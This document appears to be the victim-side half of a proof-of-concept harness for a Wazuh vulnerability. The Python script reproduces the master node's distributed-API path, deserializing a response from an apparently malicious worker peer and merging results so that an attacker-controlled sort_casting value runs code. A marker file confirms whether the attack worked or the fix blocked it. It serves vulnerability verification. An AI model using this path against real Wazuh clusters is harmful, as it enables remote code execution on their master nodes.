#!/usr/bin/env python3
"""Master-node side harness running the REAL wazuh framework vulnerable path.

Replicates the exact master-side code path from
framework/wazuh/core/cluster/dapi/dapi.py forward_request():

  1. The master forwards a distributed API request to a worker over the
     cluster channel and receives the worker's JSON response bytes
     (here: a real TCP socket to the malicious worker peer).
  2. dapi.py (~line 480-485, v4.14.5):
         result = json.loads(<worker response>, object_hook=c_common.as_wazuh_object)
     -> common.py:as_wazuh_object -> results.py:AffectedItemsWazuhResult.decode_json
  3. dapi.py (~line 571-572, v4.14.5): when more than one node answers,
         response = reduce(or_, response)
     -> results.py:AffectedItemsWazuhResult.__or__ -> merge()
     -> _goes_before_than() -> cast(item) == exec(payload) on the master.

Exit codes: 0 = attacker payload executed (marker written),
            3 = blocked (fixed code rejected sort_casting), 2 = error.
"""
import argparse
import json
import os
import socket
import sys
import time
from functools import reduce
from operator import or_


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--repo", required=True, help="wazuh worktree root (framework/ and api/ inside)")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, required=True)
    ap.add_argument("--marker", required=True, help="marker file the payload must create")
    ap.add_argument("--log", required=True)
    args = ap.parse_args()

    sys.path.insert(0, os.path.join(args.repo, "framework"))
    sys.path.insert(0, os.path.join(args.repo, "api"))

    log = open(args.log, "a", encoding="utf-8")

    def logline(msg: str) -> None:
        log.write(f"[master_harness {time.strftime('%H:%M:%S')}] {msg}\n")
        log.flush()

    os.environ["PRUVA_MARKER"] = args.marker

    # --- Real wazuh framework imports (same modules as the master node) ---
    import wazuh.core.cluster.common as c_common
    import wazuh.core.results as wresults
    import wazuh.core.exception as wexception
    logline(f"IMPORTED wazuh framework from {args.repo}")
    logline(f"results_module={wresults.__file__}")

    # --- Step 0: build the master node's own legitimate local result through
    # the real encode/decode path (this is the master's local response to the
    # distributed API request, e.g. GET /cluster/api/config). ---
    local_wire = json.dumps({
        "__wazuh_result__": {
            "__class__": "AffectedItemsWazuhResult",
            "__object__": {
                "affected_items": [{"node": "master01", "version": "v4.14.5", "type": "master"}],
                "sort_fields": ["node"],
                "sort_casting": ["str"],
                "sort_ascending": [True],
                "total_affected_items": 1,
                "total_failed_items": 0,
                "dikt": {},
                "all_msg": "All selected nodes returned their configuration",
                "some_msg": "Some nodes did not return their configuration",
                "none_msg": "No node returned its configuration",
                "failed_items_keys": [],
                "failed_items_values": [],
            },
        }
    })
    local_result = json.loads(local_wire, object_hook=c_common.as_wazuh_object)
    logline(f"LOCAL_RESULT type={type(local_result).__name__} items={local_result.affected_items}")

    # --- Step 1: forward the request to the worker over TCP and read its
    # JSON response (cluster channel boundary). ---
    s = socket.create_connection((args.host, args.port), timeout=30)
    s.settimeout(30)
    request = b'dapi_fwd worker01 {"f": "wazuh.core.cluster.cluster.get_config", "f_kwargs": {}}\n'
    s.sendall(request)
    logline(f"FORWARDED dapi_fwd request to worker01 over TCP bytes={len(request)}")
    buf = b""
    while b"\n" not in buf:
        chunk = s.recv(262144)
        if not chunk:
            break
        buf += chunk
    s.close()
    raw_response = buf.split(b"\n", 1)[0].decode("utf-8", "replace")
    logline(f"RECEIVED worker response bytes={len(raw_response)}")

    # --- Step 2: EXACT vulnerable deserialization (dapi.py forward_request) ---
    # result = json.loads(<worker response>, object_hook=c_common.as_wazuh_object)
    try:
        worker_result = json.loads(raw_response, object_hook=c_common.as_wazuh_object)
    except wexception.WazuhInternalError as e:
        logline(f"BLOCKED during deserialization: WazuhInternalError {e}")
        logline(f"MARKER_PRESENT={os.path.exists(args.marker)}")
        log.close()
        return 3
    logline(f"DESERIALIZED worker_result type={type(worker_result).__name__} "
            f"sort_casting={getattr(worker_result, 'sort_casting', None)}")

    # --- Step 3: EXACT merge trigger (dapi.py): >=2 nodes responded ->
    # response = reduce(or_, response). The malicious worker response is the
    # left operand (attacker controls nodes_list ordering in the DAPI request),
    # so its sort_casting governs the merge. ---
    responses = [worker_result, local_result]
    logline(f"MERGE triggered: {len(responses)} nodes responded -> reduce(or_, responses)")
    try:
        merged = reduce(or_, responses)
        logline(f"MERGE completed type={type(merged).__name__} "
                f"total_affected_items={getattr(merged, 'total_affected_items', None)}")
    except wexception.WazuhInternalError as e:
        logline(f"BLOCKED during merge: WazuhInternalError {e}")
        logline(f"MARKER_PRESENT={os.path.exists(args.marker)}")
        log.close()
        return 3

    marker_present = os.path.exists(args.marker)
    logline(f"MARKER_PRESENT={marker_present}")
    if marker_present:
        with open(args.marker, "r", encoding="utf-8") as f:
            logline(f"MARKER_CONTENT={f.read().strip()}")
    log.close()
    return 0 if marker_present else 2


if __name__ == "__main__":
    sys.exit(main())